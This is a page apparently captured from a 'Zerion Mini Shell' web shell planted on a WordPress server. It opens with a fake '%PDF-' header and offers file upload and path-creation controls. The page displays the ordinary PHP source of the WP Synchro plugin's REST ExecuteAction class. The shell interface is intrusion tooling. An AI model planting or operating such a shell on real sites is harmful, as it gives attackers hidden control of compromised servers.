%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/businessmultisite/wp-content/plugins/wpsynchro/includes/REST/
Upload File :
Create Path :
Current File : /var/www/businessmultisite/wp-content/plugins/wpsynchro/includes/REST/ExecuteAction.php

<?php
namespace WPSynchro\REST;

use WPSynchro\Transport\TransferAccessKey;
use WPSynchro\Utilities\Actions\ClearCachesOnSuccess;
use WPSynchro\Utilities\Actions\ClearCurrentTransfer;
use WPSynchro\Utilities\Actions\ClearTransients;

/**
 * Class for handling REST service "executeaction"
 * Call should already be verified by permissions callback
 * @since 1.6.0
 */
class ExecuteAction
{

    public function service($request)
    {

        global $wpdb;
        $result = new \stdClass();

        // Get transfer object, so we can get data
        global $wpsynchro_container;
        $transfer = $wpsynchro_container->get("class.Transfer");
        $transfer->setEncryptionKey(TransferAccessKey::getAccessKey());
        $transfer->populateFromString($request->get_body());
        $data = $transfer->getDataObject();

        if ( in_array("clearcaches", $data)) {
            (new ClearCachesOnSuccess())->doAction([]);
        }

        if ( in_array("cleartransfertoken", $data)) {
            (new ClearCurrentTransfer())->doAction([]);
        }

        // Clear site transients, always, to prevent wrong data in transients after transfer
        (new ClearTransients())->doAction([]);

        // Return
        global $wpsynchro_container;
        $returnresult = $wpsynchro_container->get('class.ReturnResult');
        $returnresult->init();
        $returnresult->setDataObject($result);
        return $returnresult->echoDataFromRestAndExit();
    }

}

Zerion Mini Shell 1.0